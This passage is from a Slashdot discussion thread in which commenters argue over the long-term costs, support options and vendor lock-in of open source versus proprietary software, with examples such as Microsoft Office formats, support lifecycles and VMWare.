      > Okay, I'd better stop. I've almost run out of
      > appendages and you really don't want me to use
      > the twenty-first one.

      I'm sure that if you were to count in binary that you could achieve it with only two hands... Okay maybe you'd need trinary.

    53. Re:One benefit by Anonymous Coward · · Score: 0

      Yeah, but when you update your system (a bug fix is enough) you have to pray so your app still works.

      I bet that many people got bitten by VMWare depending on a WELL DOCUMENTED glibc bug that caused it to crash as soon as the bug was fixed.

      The answer from the company? Upgrade, pay us $300. You could still be using the source to compile again and this time you have all the libraries because you had to get them before. You could even compile statically and know that it is going to work on mostly any system.

    54. Re:One benefit by mpe · · Score: 2

      In the commerical software world, you cannot use the same product for 10 years. You will purchase upgrades, and you will purchase new hardware to run those upgrades if you want support.

      To the timescale of your supplier. You can be in real trouble if you are running more than one proprietary application and their needs conflict.

    55. Re:One benefit by mpe · · Score: 2

      Though the chance of MS go fold is very small,

      No doubt there were people saying the same about Pan Am, Enron and Worldcom...

      however, any open source software important enough to attract a large amount of users, and business users relatively has a higher chance of survival than MS.

      Even if you are the only company on the planet using a certain piece of OS software you still have the possibility of having it supported.

    56. Re:One benefit by Anonymous Coward · · Score: 0

      You have a point, yet we are talking about the support issue here.
      As far as I now its even darn difficult if not impossible to get a WinNT4.0 license nowadays, short of having to buy a Win2000 or winXP one and being allowed to install NT4.0 with it

      Typical mainstream IT product lifecycles are in the 4 year range so 10 years is a definate high.
      Of course there are the exceptions. And there are markets that require this long term support but they sure aren't the mainstream ones.

    57. Re:One benefit by RosCabezas · · Score: 1

      Is watermarking a needed feature? What if the commercial solution can't do it? You would't have any alternative but asking for it and waiting. If it's really necessary, just having the opportunity to immplement it is worth it's weight in gold.

      David

    58. Re:One benefit by Beliskner · · Score: 2
      You're confusing web services with the application service provider model
      Both technologies can be used for international outsourcing. With web services, why do the back tiers need to be in the same country as the front tiers?
      --
      A caveman dreams of being us, the incalculable power and riches. We dream of being Q, then what?
    59. Re:One benefit by pjrc · · Score: 2
      Mark, in your IT dept, who can add a watermark feature to a PDF/html conversion program in 15 minutes and roll it out to users in another 20 minutes will soon learn to walk on water, turn that water into wine, and thus will either need a promotion or end up working somewhere else.

      Maybe his supernatural powers could also modify a proprietary app too, thus making the whole arguement moot.

    60. Re:One benefit by horza · · Score: 2

      Open Source software is, by definition, fully documented [snip]

      LMAO

      Yes, source code does count as documentation, because it can be used to understand things like binary data formats when printed manuals are not available.

      Fully commented source code counts a documentation.

      Documentation created today should be readable tomorrow and ten years from now. Is that true of Microsoft Word or Powerpoint?

      Or of Abiword? Or any other proprietry file format used by an Open Source application? We are moving off the subject of Open Source and onto Open Standards.

      do you know how many companies have all their documentation in Office formats? Wouldn't they feel safer knowing that their documentation isn't fundamentally bound to one company's products? Unfortunately, they don't think about such things.

      Or maybe they are especially cunning and figure that there are so many .doc files out there someone will most likely write a .doc->Open Standard convertor? (no, I don't go for that theory either)

      Phillip.

    61. Re:One benefit by mpe · · Score: 2

      I see the holes in my argument, but there are many people who think that the whole cost or 95% of owning a piece of software is the purchase price, and dont take into account the fact that admins cost a measurable amount of money. I was aiming the post more towards those type of people who just see the initial cost as the only cost of a piece of software and then cheerlead for OSS.

      Proprietary, "off the shelf", software quite often still needs installing, configuring and ongoing administration (including management of EULA's, per whatever licences, etc.)
      Having a reduced purchase price and eliminating one ongoing admin cost (not to mention that you cannot wind up having to relicence if your busines merges, splits or otherwise restructures) certainly looks like something to put in the "plus" column. As does not being tied to a specific third party for support.

    62. Re:One benefit by mpe · · Score: 2

      But Mark in IT can do that whole job in about 15 minutes and have an install script to populate your workstations in 20.

      Without needing to bother the users. If an admin has to boot a user off to upgrade the software on a machine then you are paying for two people's time whilst that happens.

    63. Re:One benefit by mpe · · Score: 2

      Finally, MS needs to sell a lot of Office copies. OfficeXP isn't and hasnt sold well - there is nothing there that makes it any special amount better than Office2k. This new version will be major and will induce a lot of people to buy Office. MS wants that.

      Sounds like changing to a new format, in order to force people to upgrade in order to be able to read files they might be sent...
      From the user POV a new file format isn't really of much interest. Except possibly something like the Star/Open Office format, which creates smaller files. Which thus can more easily be sent as attachments. The typical user is more interested in if the new program will make the things they need to do easier or will allow them to do things they want to do, but havn't been able to do before.

    64. Re:One benefit by mpe · · Score: 2

      And considering that Office 11 is apparently openly based on XML file formats, this is a sticking point in your theory.

      The key point is "based on", a bit like active directory being "based on" open formats...

    65. Re:One benefit by BeBoxer · · Score: 2

      Support. That's what we're talking about. Microsoft does not support Win 3.1. They do not support Win95 either. Just because people are running them does not mean they are supported. Hey, I've be BeOS running at home. Does that mean Be Inc. is still supporting anything?

      Actually, Microsoft's web site clearly says mainstream support won't last more than five years, and "extended" support won't last more than eight. Past that, your limited to "on line self-help support". Hm. Basically, you can count on surfing the web and asking for help in newsgroups if you want support for a 10 year old Microsoft product. They might offer better support initially, but at the 10 year mark their "support" is basically non-existent.

    66. Re:One benefit by mpe · · Score: 2

      Which is why the only sensible course of action in most cases is to bet on the horse that you think is most likely to stay in the race longest. Which is more likely? That Microsoft will go out of business, or that Red Hat will go out of business? Smart money's on the Fortune 100 company with $40 billion in the bank.

      Alternativly you can do something other than gambling. If Microsoft goes out of business then you have zero support. Whilst $40 billion might sound a lot how does it compare with the turnover of Microsoft Corporation or their stock market valuation. Will that money help out much with cash flow problems (e.g. the EU freezing any Microsoft assets within the EU) or having to prop up all their share options.

    67. Re:One benefit by mpe · · Score: 2

      Very large empires has folded like the old Greeks, the romans and so on - why not Microsoft ? It may take some time but it is not unthinkable.

      If a business actually folds it can be very quick. Think Pan Am or Enron... Even if some party were to want to take over Microsoft's products they won't be able to until the dust has settled and creditors have been paid.

    68. Re:One benefit by pmz · · Score: 2

      I suspect that in fact Office will be using open file formats, and that I am in fact right. Time will tell.

      Yes, time will tell. I would be speachless if Microsoft actually did open up the Office formats. If they did, however, my instinct tells me to look elsewhere for their lock-in strategies (i.e., they may use Office 11 to bait more customers into a different mode of lock-in).

    69. Re:One benefit by pmz · · Score: 2

      LMAO

      I'm glad I humored you. However, I am serious, because the underlying issue to all of this is long-term risk.

      Fully commented source code counts a documentation.

      I count uncommented source code as better than nothing. Source code is a real instance of algorithms and data structures. Granted, it can be understood more quickly if it is commented, but even uncommented source code can be studied to learn what it does. Simply having the ability to act indepently of a particular vendor regarding critical company data is much more significant than whether it can be done conveniently.

      Or of Abiword? Or any other proprietry file format used by an Open Source application?

      If Abiword is Open Source, how can its file format be proprietary? Even if there is currently only one piece of software implementing Abiword's file format, anyone else, such as an Open Office developer, can study the Abiword source code and associated documentation to make a new implementation.

      We are moving off the subject of Open Source and onto Open Standards.

      I agree, because proprietary and free implementations can co-exist with respect to truly open standards. This is really the ideal situation. Sometimes, however, the standards themselves can be so complex that no one can achieve a truly compliant implementation. The challenge, here, is to invent families of genuinely comprehensible standards rather than all-in-one mega standards.

      I have worked with mega standards in the past, where there was always something else to implement no matter how hard we worked. Also, validating such implementations approaches impossible without gargantuan test suites and man power. I hope that efforts, such as the Open Office common file format project, create useful digestible chunks of functionality that make implementations widely feasible.

    70. Re:One benefit by evilpenguin · · Score: 2

      Gee, maybe using the closed, proprietary VMWare wasn't such a great idea in the first place. This is hardly an argument against Free Software. It is an argument against closed software.

    71. Re:One benefit by Chris+Mattern · · Score: 2

      > > Open Source software is, by definition, fully documented [snip]

      > LMAO

      Granted, this depends on your definition of "fully documented", and I find the definition of "have source code=fully documented" to be pretty poor definition myself. But try this: "Open Source software has, by definition, a guaranteed minimum of accurate and detailed (if not necessarily easily assimilated) documentation that proprietary software *can't* guarantee."

      Chris Mattern

    72. Re:One benefit by Jack9 · · Score: 1

      The comment by the AC below about beaches was classic - XML is terrible. If your XML experience comes from reading an article by the creator, you weren't slandered, you were put in place. XML has is a tool that allows for some pretty effects, but so what? Just because I've seen the amazing gum alley in San Luis Obispo CA doesnt mean I should try to always stick my gum on walls when I'm done. There are plenty of better ways to accomplish what XML tries to be and the fact that no one has had the time to step up to the plate, doesnt mean we should take XML and be happy. That's what happened with SMTP and now we're screwed.

      --

      Often wrong but never in doubt.
      I am Jack9.
      Everyone knows me.
    73. Re:One benefit by DunbarTheInept · · Score: 2
      I don't think that any slashdot reader is going to disagree with you that those projects are important have been met with great success within the open source community. But if you look at the OSS projects that have really garnered widespread recognition, development, and support, the list is relatively short.
      By definition, those who find such projects useful and like using them are the Open Source Community. Filtering them out is unfair. It would be like saying, "Yeah, but how popular is Microsoft Office outside of those people who use Microsoft Office? Applying such a filter turns the whole mental excercise into a self-fufilling prophecy.
      --

      Don't label something "offtopic" unless you know the topic well enough to tell what's on topic.

    74. Re:One benefit by DunbarTheInept · · Score: 2
      • TCP/IP - When did we start talking about open protocols here?
      "We" didn't. You did. "TCP/IP stack" does not refer to the protocol on paper. It refers to the implementation of it - the code that does the actual work in the OS to make TCP/IP function. It's no secret that the BSD TCP/IP stack is the basis for a large number of operating systems' implementations, including even Microsoft's.
      • ReiserFS, CVS, RCS, etc. - What?
      • vim, emacs - Outside the nerd kingdome, these would not be considered "successful"
      • Perl, Python, Gcc, Bash, Tcsh, etc - Sure. ReiserFS - a filesysem.
        RCS - a revision control system for keeping track of versions of a file with successive diffs.
        CVS - a tool built on top of RCS that collects sets of files together into projects and does revision control on the whole project.
        (CVS is MAJORLY successful if you think about the fact that nearly every other OSS project uses it.)
        vim, emacs - You dismiss these as being popular only amongst nerds, yet go on to say...
        ...that Perl, Python, Gcc, Bash, Tcsh, etc are not similarly dismissable. That's not consistent.
      --

      Don't label something "offtopic" unless you know the topic well enough to tell what's on topic.

    75. Re:One benefit by shnarez · · Score: 1
      The problem with this reasoning is the assumption that a company (even the likes of Microsoft) will fix bugs and make changes to respond to customer demand. This is not really true. In fact, security updates are not (always) timely, and the response to some problems is "buy the next version" where the next version may have a changed API that you now have to support if you migrate.

      Further, you cannot as easily get a change in some application you use, even if it's reasonable as you do in open-source -- if you really want it, put out a contract on collab.net or related site, if someone picks it up, you have a guaranteed implementation, even if no one else cares for it. If that doesn't work, hire a contractor yourself. You have no such option with ANY proprietary software.

      I will give a specific example: I know for a fact that a certain company's high-performance commercial compiler is buggy. The next version is supposed to fix the problems, but isn't yet available. Someone who has access to it (under NDA) says "this works with version X but you can't have it, 'cuz I'm under NDA". Meanwhile, you need it NOW, because there are deadlines. But you can't. And you can't get it officially even under NDA because the company won't give it to you. What do you do? You're screwed. Why do you need this specific compiler? Think high-performance programs with compiler-specific annotations.

      This is not a guarantee that open-source would never have this problem, but there you have full disclosure, and as soon as it's available, it's available. To all. The above is really pissing me off, because that is a real problem, and only the company's fault for (a) releasing a buggy compiler, and (b) disallowing access to the good one to a select group for a while during which those stuck using the previous one who discover bugs in certain areas are up the creek.

    76. Re:One benefit by Twirlip+of+the+Mists · · Score: 2

      The problem with this reasoning is the assumption that a company (even the likes of Microsoft) will fix bugs and make changes to respond to customer demand.

      The exact same line of thought can be applied to open-source projects. In either case, the maintainer-- be it a corporation or an individual-- may not do exactly what you want them to do, when you want them to do it. This is not a point for open-source software, I'm afraid.

      The question still boils down to the same point: the only way being dependent on open-source software is better than being dependent on commercial software is if-- and that's a huge if-- you are willing to accept responsibility for maintaining the code yourself. If you are, then by all means, download the source code to whatever it is you want to use, and develop it to your heart's content. (Unless it's licensed under the GPL, of course, in which case you're better off writing your own implementation from scratch.)

      As for your situation with the buggy compiler, that's a bad break, and you have my sympathy. But you would be no better off if you had the source code to the compiler, unless-- and that's a huge unless-- you were willing to accept responsibility for maintaining the compiler yourself. That's not an option most companies are willing to exercise.

      --

      I write in my journal
    77. Re:One benefit by Anonymous Coward · · Score: 0

      You probably find more open sorce projects go away because there are more open sorce projects then closed sorce?

    78. Re:One benefit by Anonymous Coward · · Score: 0

      You're an idiot. Just because someone runs Apache doesn't make them a pear-shaped nerd like yourself.

    79. Re:One benefit by DunbarTheInept · · Score: 2

      So now "open source community" is synonomous with "pear shaped nerd". Who's the idiot again?

      --

      Don't label something "offtopic" unless you know the topic well enough to tell what's on topic.

    80. Re:One benefit by Anonymous Coward · · Score: 0

      So now "open source community" is synonomous with "pear shaped nerd".

      Right.

      Who's the idiot again?

      You. I thought we had already made that clear?

    81. Re:One benefit by gurensan · · Score: 1

      If all my foes were cowards, I'd be doing wonderfully.

      --
      You are all fartheads.
  5. Costing is a black art! by locarecords.com · · Score: 5, Insightful
    The trouble is that you have bought lots of proprietary software assumptions to the party. For instance you assume that you will have the same sorts of issues whereas the Open Source varient will:

    1. Be more stable and contain less bugs in the long run

    2. Cost less in terms of licensing etc

    3. Have projectable license costs. ie Nil. Whereas who knows how much Micro$oft will charge you in a couple of years.

    4. Gain from *not* having to upgrade due to it no longer being supported. Proprietary software forces you to upgrade and infact is built into their model. If you don't buy they go bankrupt

    5. Allows you to *gain* from quick bug fixes, security patches and the like

    This seems like a typical TCO attack on Open Source which needs to be carefully assessed in a research setting where the differences can be clearly ascertained between proprietary and Open Source software..

    --
    ---- The Open Source Record Label : : LOCARECORDS.COM
    1. Re:Costing is a black art! by binaryDigit · · Score: 2

      1. Be more stable and contain less bugs in the long run

      A totally false assumption. Not saying that it can't be true, just that being OS doesn't guarantee this. You're thinking too much in terms of Linux vs Winbloze, instead you should be thinking of smaller projects that don't necessarily have a gazillion people working on it. Also, look at the recent Mozilla bugs as proof that being OS doesn't mean that you get it right any sooner (imagine how much worse the bug count would be it there were 20x more people using it and there were scads of people intentionally trying to break/hack it).

      2. Cost less in terms of licensing etc

      Likely, but not again, not something inherint in OS. People can charge a fee for OS software, many don't.

      4. Gain from *not* having to upgrade due to it no longer being supported. Proprietary software forces you to upgrade and infact is built into their model. If you don't buy they go bankrupt

      Absolutely false. Presumably a company is looking at these solutions because they DON'T want to have to deal with development of the product in house, or else they'd just roll their own. If company X is using OS software Y and project Y is abandoned, company X is just as likely to start looking to migrate. Will bugs never be found in OS software? Will you never have to upgrade? Not all proprietary software companies charge you for every little upgrade (esp in the enterprise space). Isn't it just as likely that an open source project will stop "supporting" an older version that you're using forcing you to either live with it or upgrade?

      5. Allows you to *gain* from quick bug fixes, security patches and the like

      How is this any different than prop. software? If company X is good about bug fixing and company Y bad, how is that any different than OS project X being good about bug fixing vs project Y that isn't? Lots of enterprise level software agreements have bug fix turnaround guarantees and they rock. Call company X, report the bug, they guarantee to have the thing turned around to you in three days (or whatever).

      I think that in general people have to realize that people do use software other than that written by the evil empire and to glom all prop. software under that umbrella is simply missing the point. I've been in projects that relied heavily on both prop software and OS software and there are advantages and disadvantages to both and being OS is NOT the holy grail. It's a great alternative (and many times the superior), but take off your OS colored glasses and see that it's not the only answer.

    2. Re:Costing is a black art! by Anonymous Coward · · Score: 0
      Well said. Things are not black and white..

    3. Re:Costing is a black art! by cornjones · · Score: 1

      Point by point
      1. Be more stable and contain less bugs in the long run
      how can you say this w/ a straight face? For every "stable"-ish OSS project i can show you 500 that aren't. Not that this is any different from closed source. Shitty code is shitty code but it exists in both arenas.

      2. Cost less in terms of licensing etc
      Given. Though, over the lifetime of the product this may not be a sizeable percentage of the cost.

      3. Have projectable license costs. ie Nil. Whereas who knows how much Micro$oft will charge you in a couple of years.
      If you are doing a project of a decent size you can write this kind of stuff into the contract. As the poster said, the commercial vendors were willing to give him exact costs for support over the lifetime of the product. Alot of bean counters will prefer a fixed cost over an unknown cost that may or may not be cheaper. Remember, the license may be free but that doesn't make the product free.

      4. Gain from *not* having to upgrade due to it no longer being supported. Proprietary software forces you to upgrade and infact is built into their model. If you don't buy they go bankrupt
      this is just wrong. OSS upgrades constantly. The jump from apache 1.3.6 to 1.3.9 (i hope, for their own sake, nobody jumped to anything inbetween) invalidated most of the modules. Alot of third party apps had to be rewritten so they would work w/ the new apache. sometimes it is the best idea to just chuck the old code and rewrite it better. happens w/ both schools of software.

      5. Allows you to *gain* from quick bug fixes, security patches and the like
      Most reliable vendors will put out patches for security holes and bugs. If they aren't you should be buying the product. OSS may be quicker in this area.

      IMHO, it comes down to man power and project size. If you are doing a large project w/ lots of people, the licensing costs are not that large of a cost, comparatively. When I was the sole admin for a smaller company and I only had to run 10 or 20 boxen, it was ok to use unsupported products. I had the time to dig into each one, rewrite code I didnt' like, etc... On larger projects though, I need the software to do what I think it is supposed to do. If it doesn't do that I call somebody else to make it do that so I can use it as teh tool it is supposed to be. I guess the differences is that instead of spending my time configure each software package, i need to be able to configure the application as a whole. Of course, I do have to dig into any software package I use, and sometimes OSS is quicker easier just based on my familiarity w/ it. But in general, I don't have the time necessary to devote to the ever evolving, day by day patching, OSS software. Of course, I am generalizing....

      whatever
      ej

    4. Re:Costing is a black art! by locarecords.com · · Score: 1
      A totally false assumption. Not saying that it can't be true, just that being OS doesn't guarantee this.

      Er.. this is a contradiction, its therefore not a *totally* false assumption then?

      Also, look at the recent Mozilla bugs as proof that being OS doesn't mean that you get it right any sooner

      At least you know what the bugs are!! In Prop you often have not got a clue and no warning.

      Likely, but not again, not something inherint in OS.

      True, but you can only charge to a level at which it becomes more cost effective to compile it yourself... try that with prop...

      Absolutely false. Presumably a company is looking at these solutions because they DON'T want to have to deal with development of the product in house, or else they'd just roll their own.

      You love your absolutely. It is not absolutely false. You can hold back, no one *forces* you to upgrade by cancelling the previous version. You can *always* get it, copy it from that machine, do what you like with it, and at worst develop it in house. Not poss. with Prop

      How is this any different than prop. software?

      Have you actually used any prop software. I think every copy of a prop software program has bugs that I have been moaning to the manufacturer about. AND I CAN'T DO ANYTHING ABOUT IT!!!

      If it were open source at least I would have that possibility!!!

      It's a great alternative (and many times the superior), but take off your OS colored glasses and see that it's not the only answer.

      Please don't misunderstand me. I am saying it is cool and has very good technical reasons for being used. *But* it is not a panacea and comes with caveats about how it is supported and what it will give you. These naturally have to be considered carefully for each case.

      --
      ---- The Open Source Record Label : : LOCARECORDS.COM
    5. Re:Costing is a black art! by locarecords.com · · Score: 1
      how can you say this w/ a straight face? For every "stable"-ish OSS project i can show you 500 that aren't. Not that this is any different from closed source. Shitty code is shitty code but it exists in both arenas.

      True enough. But with Open Source more users can check out the code to feedback into the development process. Hence bugs are to use the oft quoted Linus law - shallower.

      If you are doing a project of a decent size you can write this kind of stuff into the contract.

      Kind of. Trouble is you don't know your *future* requirements.. And that means uncontracted, uncosted changes that could be *very* expensive. One small firm I got to know just loved getting fully costed projects as they *knew* that in a years time people move on in multinationals and priorities change and software can change dramatically...

      this is just wrong. OSS upgrades constantly.

      Sure I know that. My point is that you don't have to upgrade. If it ain't broke don't fix it. And feel free to copy it to lots of other machines *for free*!!

      Most reliable vendors will put out patches for security holes and bugs.

      Hahahahahaha. This is a joke yeah? How often? This is one of the biggest problems with prop vendors and well documented.

      OSS may be quicker in this area.

      I think you'll find *IS*

      All I am saying is we need to change the arguments. Microsoft are happily shifting the entire focus of argument with TCO and everyone is falling for it...

      --
      ---- The Open Source Record Label : : LOCARECORDS.COM
    6. Re:Costing is a black art! by binaryDigit · · Score: 2

      Er.. this is a contradiction, its therefore not a *totally* false assumption then?

      Well, I read your statement as an absolute, which meant that if there were any exception to it, that the statement is completely wrong. But let's not nitpick grammar/semantics shall we?

      At least you know what the bugs are!! In Prop you often have not got a clue and no warning.

      I agree with you here as only a handful of vendors I've worked with allowed their customers to actively peruse their bug databases. This would be an awesome "feature" for vendors and would probably save them a lot of money in support costs in the long run, I wish more would do it (thet'd have to put aside their "pride" of course, and deal with the issue of potentially putting them at a competitive disadvantage).

      Have you actually used any prop software.

      The overwhelming majority of the software I've used professionally (20+ years now) has been prop. I use a lot of OS stuff personally, but that's another story. I think that one of the problems that many younguns run into now is that their only exposure to software is from the evil empire (and assorted minor evil fiefdoms). I have personally worked with many prop. sofware companies that are very responsive to bugs. Either because their just "cool" or because or support contract says that have to.

      Lets not confuse prop. software with sofware monopolies. If 8 companies are trying to make a living selling/supporting a package, it behooves them to be at least somewhat responsive to their customers. M$ is not in this situation and many of their practices/policies derive from this, not from the fact that the software they sell is prop.

    7. Re:Costing is a black art! by locarecords.com · · Score: 1
      But let's not nitpick grammar/semantics shall we?

      Just clearing up a misconception ;-)

      I think that one of the problems that many younguns run into now is that their only exposure to software is from the evil empire (and assorted minor evil fiefdoms). I have personally worked with many prop. sofware companies that are very responsive to bugs.

      I am not exactly a youngun.. and worked with a Digital Equipment contract that meant that support was little short of amazing on the VAX/VMS systems I was developing. However that contract was EXPENSIVE.

      But I agree that props should be more responsive. Unfortunately too often they aren't....

      --
      ---- The Open Source Record Label : : LOCARECORDS.COM
    8. Re:Costing is a black art! by cornjones · · Score: 1

      Don't get me wrong, I am not against open source, but it doesn't make sense for alot of projects.

      People are not "falling" for the TCO argument. It is what businesses care about. The accounting department doesn't care whether you use OS or not. They care about what it costs. Combine that w/ the customer (may be an internal employee), they don't care whether you use OS or not, they want a product that works.

      If I am putting up a server for me, I use all OSS. The real reason for that is b/c I believe in the movement and would like to keep my skills in that area. Neither of these matter to my company. The idea for them is to deliver a quality product while spending as little money as possible. We will spend money, quality comes first, but the internet generation is over and we can't spend money w/o thinking like we used to. P&L sheets actually matter now, if you are going to stay afloat you have to look at what something costs the company in total, not the upfront costs.

      And the difference is HUGE. For our application we have 300+ servers being run by a team of 4 guys. all MS servers. we have 27 unix boxen that have a higher TCO than the MS farms. YMMV but that is what we have found for our situation. These are the numbers that matter on a business scale. We tech geeks like to have holy wars about which OS and which FPS and which progging lang is best... None of this matters on a larger scale. The implementation and the people are what determine what is "better", and that can change from project to project. (Actually, when you come down to it, it is the PROCESSES that make all the difference in the TCO.)

      Everything people complain about closed source software is true on some levels but OSS has it's own problems and it isnt a black and white issue. There are ALOT of areas in which OSS can actually be more expensive than the alternatives. Despite the lack of licensing costs.

    9. Re:Costing is a black art! by locarecords.com · · Score: 1
      Well said.

      I agree entirely. But the TCO approach is not a science. It is more of an art. That is the point I am trying to make...

      --
      ---- The Open Source Record Label : : LOCARECORDS.COM
    10. Re:Costing is a black art! by binaryDigit · · Score: 2

      I am not exactly a youngun.. and worked with a Digital Equipment contract that meant that support was little short of amazing on the VAX/VMS systems I was developing. However that contract was EXPENSIVE.

      Yes, those "big iron" contracts definitely rocked when it came to level of service, but yup you definitely payed the price. Then again, back then it pretty much "had" to be that way since they weren't pumping out 10000 pdp-11's a month.

      But I think you get my point in that many of the negatives and positives associated with prop vs OS software has nothing to do with being prop or OS, rather it's the mindset of the people in those roles. So there is definitely room for improvement in the prop world and a lot of stuff the OS world can learn from their "more" captialistic bretheren. Hopefully the resurgance of OS will push more of the prop guys into doing business a bit more customer friendly.

    11. Re:Costing is a black art! by mattsucks · · Score: 1
      1, 2, 3: agree totally.

      4. Gain from *not* having to upgrade due to it no longer being supported. Proprietary software forces you to upgrade and infact is built into their model. If you don't buy they go bankrupt
      I disagree. Noone can FORCE you to upgrade. I've got Office 95, on Windows 95, 7 years old on one machine. [I've got a linux box too - please don't unleash the ninjas] Supported? I think not. However, I haven't been forced to upgrade anything by anyone. As long as the commercial product did everything the submitter needs, why would they ever have to upgrade?

      There _is_ a TCO argument here: you may end up having to support an old hardware configuration for the out-of-date proprietary software (I mimic the reboot sounds my W95 beast makes fairly accurately by now). And staff that remember how the old hardware/config all works. That you can figure into TCO evals. Not the cost of a forced upgrade.

      5. Allows you to *gain* from quick bug fixes, security patches and the like
      Partially agree. You get quick bug, security, etc fixes if your in-house expert spends some of his time to watch for them, monitor the appropriate lists, go get them, install them, test them.... for which he will expect to be compensated, no doubt. Just because the developers of the open source product do it for free doesn't mean your local engineering staff will be so kind.

      It pains me to say it, but 4 & 5 sound like typical TCO attacks on proprietary software.
    12. Re:Costing is a black art! by cornjones · · Score: 2

      or rather, a science w/ too many variables to be accurate. Kinda like predicting the weather. If you had all the variables you could probably do it but there are just too many variables to be able to figure them all in.

    13. Re:Costing is a black art! by walt-sjc · · Score: 2

      I don't think anyone is talking about using a product after support runs out. This may be just fine for some, but in the business world you need to have stable / secure systems that keep up with changing requirements.

      4&5 are VALID arguments. Again, in the business world, you can't go running unsupported stuff. It is not about someone FORCING you to upgrade, you are forced due to the lack of needed support for an old version. In this case, the submitter is talking about search engine software. You can't lock that in a closet and pretend that old security problems can go forever without getting fixed. Hence the cost of a forced upgrade to get security fixes is a TOTALLY VALID argument in TCO.

      In 5, are you expecting your VENDOR to go and install all the patches for you??? You trust your vendor to release patches that work 100% perfectly all the time? You don't test vendor related patches before pushing to production? Please. Your support staff has to monitor the vendor list just as they would OSS lists. The same work / testing / etc has to be done, yet OSS historically has been MUCH faster at releasing patches.

    14. Re:Costing is a black art! by Rozzin · · Score: 1

      "Noone can FORCE you to upgrade. I've got Office 95, on Windows 95, 7 years old on one machine. [I've got a linux box too - please don't unleash the ninjas] Supported? I think not. However, I haven't been forced to upgrade anything by anyone. As long as the commercial product did everything the submitter needs, why would they ever have to upgrade?"

      So, what happens when you need another license?

      --
      -rozzin.
    15. Re:Costing is a black art! by mpe · · Score: 2

      If you are doing a project of a decent size you can write this kind of stuff into the contract. As the poster said, the commercial vendors were willing to give him exact costs for support over the lifetime of the product.

      If your vendor goes bankrupt about the only thing your contract might do is move you up a few places in the creditor queue. How will that fix your problems?

      Alot of bean counters will prefer a fixed cost over an unknown cost that may or may not be cheaper. Remember, the license may be free but that doesn't make the product free.

      Just because you paid a lot of money for something dosn't mean it's worth it (or indeed worth anything at all.)

  6. It depends. by Anonymous Coward · · Score: 0

    The correct answer here is, it depends.

  7. Go to the mailing list ... by burgburgburg · · Score: 5, Insightful

    And announce you'd like to set up a long term 24x7 support contract on the project and ask for bids. Vet them properly and I'm sure you'd come away with a more reasonably priced TCO then you've calculated.

    1. Re:Go to the mailing list ... by cornjones · · Score: 1

      That is a very good idea. Make sure you do some checking on the guy you are hiring though. No offense to college kids (i was one once), but they aren't the most reliable people, especially in terms of long term plans.

      B)
      ej

  8. Commericial support has it's caveats too. by Anonymous Coward · · Score: 2, Interesting

    Just a quick comment: commercial support isn't always the answer, and there are subtle, hidden realities there.

    For example, my company pays $2000 for annual support on a commercial mail filtering product. This product will (seemingly randomly) return about 2% of all outgoing mail as undeliverable. No problem, because we have the maintenance contract, right? WRONG! Because the vendor plays the finger-pointing game, saying it's the firewall, or the mail server configuration, or anything else but their software.

    Software, either purchased OS'ed may appear to be cheaper or more expensive than the alternatives, but be careful, and thorough, when doing the comparisions.

    1. Re:Commericial support has it's caveats too. by Anonymous Coward · · Score: 0

      You use MAILSweeper too? ;)

  9. What a Coincidence! by Anonymous Coward · · Score: 0, Funny

    This article coming right on the heels of the Halloween VII article. The MS machine works quickly!

    1. Re:What a Coincidence! by Anonymous Coward · · Score: 0

      "spoken like a true fuckin' prodigy"...er, slashbot.

      anything not completely pro-open-source must be a microsoft plant, right?

      actually, slashbots like you make the average linux user look like a head-up-his/her-ass zealot... maybe YOU'RE actually posting from Redmond.

  10. Biggest problem with commercial use of open source by seafoodbuffet · · Score: 1

    In my mind, the biggest issue with commercial use of open source software is that the consumers of such software have no way of compelling the makers to do one thing or another. As an employee of a commercial software company, I witness daily the effects of our customers using money as a method of getting us to implement features/fix bugs. However, I as an open source software consumer, I often have to live with missing features/bugs in the software I use. Oh sure I could go and fix/implement myself, but the whole point of not building something from the ground up was that I got something that basically worked without having to expend time and effort to make it work. For companies, this time and effort translates directly into money.

  11. My own small business by Inthewire · · Score: 2, Interesting

    I run a small (one employee) business. All critical business functions are performed by commercial software. Sure, I'd like to use an Open Source server product and release my software to work with it, but I'm not comfortable doing that. There's too many possible configurations out there to try to support, and telling the end user that they have to do it my way never seems to work in the Linux world. These are people who pride themselves in being different - they want to tinker. I can provide a Windows installer and let that make all the decisions. Besides, my industry (transportation and logistics for small companies) is ruled by Windows. That's the reality I have to target.

    --


    Writers imply. Readers infer.
    1. Re:My own small business by Anonymous Coward · · Score: 0

      I can provide a Windows installer and let that make all the decisions.

      I think this is the problem with people and computers today. Too many people let the software do the thinking for them. This comes from the lie that "computers are smarter than me."

    2. Re:My own small business by Anonymous Coward · · Score: 0

      Most of the people I can't even install their own shit. They have to have me install all the programs. It's not rocket science to hit Next.

    3. Re:My own small business by Anonymous Coward · · Score: 0


      Irronically, you haven't even *PAID* for the windows software you are using in your business, making your business fundamentally illegal.

    4. Re:My own small business by vb.warrior · · Score: 1

      No it comes from the fact that computers are better at doing boring tasks like copying files, configuring settings and tinkering with registry entries.

      The purpose of any piece of software is to make life easier or to accomplish a task, not to act as a challenge for some social miscreant that will never move out of his parents basement.

  12. A lot depends on the type of task/project/product. by sisukapalli1 · · Score: 1

    If there is something already available commercially that does the job that a "project implementor" wants to implement *once or twice*, it makes more sense to go with the commercial solution.

    I'm fond of analogies, so bear with me... This is almost similar to the question: "should I write a script to do this automatically, or should I do it manually?" or "should I generalize/templatize/pick your choice, versus hardcode"?

    The answers are very case specific.

    There are some things I noted in your post.. The cost of 10% of a FTE just be active in a mailing list is a little too high an estimate. Even then, guess what, you would be able to have just one mailing list person even if you implement the project thousand times over, whereas the license fees for the commercial software will scale accordingly.

    S

  13. Decade by Anonymous Coward · · Score: 0
    How do you value the risk of any given project not staying around the full decade?

    For an open source project, it's a given. (Just do your backups...)

    For a commercial project, it's a very fluffy calculation. The cost of that risk is somewhere between zero and the price of starting all over. But where?

  14. "It depends" by mgkimsal2 · · Score: 3, Insightful

    "Open source" is a huge expansive field. Some products will be easiers/cheaper to administrate and support, and some will be more difficult. The 'commercial' vendors have an advantage because they are spreading the support costs (all the infrastructure that goes with support as well) across many customers. Taking a DIY approach means most or all of those costs are born in your company, even if it's a small amount.

    Shameless plug: My company offers professional PHP support via phphelpdesk.com (PHP itself and most of the packages around PHP, including Apache, MySQL, etc) as well as hands-on training courses. There are other companies that provide similar services for other languages (probably more for Java than PHP, for example).

  15. Have you asked consulting firms for a price? by brokeninside · · Score: 1
    I have a hard time believing that there would not be more than a few consulting firms willing to work out a support contract for the open source search engine project you are considering.

